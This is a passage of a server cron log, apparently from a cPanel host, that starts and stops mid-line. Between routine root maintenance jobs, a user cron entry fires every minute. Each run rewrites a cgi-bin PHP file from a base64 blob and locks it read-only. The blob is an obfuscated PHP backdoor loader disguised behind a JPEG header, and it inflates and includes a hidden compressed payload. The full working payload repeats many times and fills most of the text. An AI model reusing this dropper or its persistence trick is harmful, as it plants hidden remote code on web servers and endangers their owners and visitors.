UsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:10:01 server CROND[19610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:10:01 server CROND[19608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:11:01 server CROND[20446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:11:01 server CROND[20447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:11:01 server CROND[20448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:12:01 server CROND[20840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:12:01 server CROND[20839]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 14:12:01 server CROND[20838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:12:01 server CROND[20841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:13:01 server CROND[21223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:13:01 server CROND[21224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:13:01 server CROND[21225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:14:01 server CROND[21694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:14:01 server CROND[21693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:14:01 server CROND[21695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:15:01 server CROND[22093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:15:01 server CROND[22095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:15:01 server CROND[22097]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 14:15:01 server CROND[22098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:15:01 server CROND[22102]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:15:01 server CROND[22103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:15:01 server CROND[22109]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 14:15:01 server CROND[22100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:15:01 server CROND[22101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:16:01 server CROND[23145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:16:01 server CROND[23146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:16:01 server CROND[23147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:17:01 server CROND[23564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:17:01 server CROND[23565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:17:01 server CROND[23566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:18:01 server CROND[23946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:18:01 server CROND[23947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:18:01 server CROND[23948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:19:01 server CROND[24439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:19:01 server CROND[24441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:19:01 server CROND[24440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:20:01 server CROND[24828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:20:01 server CROND[24830]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:20:01 server CROND[24834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:20:01 server CROND[24832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:20:01 server CROND[24837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:20:01 server CROND[24838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:20:01 server CROND[24840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:20:01 server CROND[24833]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:20:01 server CROND[24835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 14:21:01 server CROND[25672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:21:01 server CROND[25673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:21:01 server CROND[25674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:22:01 server CROND[26059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:22:01 server CROND[26060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:22:01 server CROND[26061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1h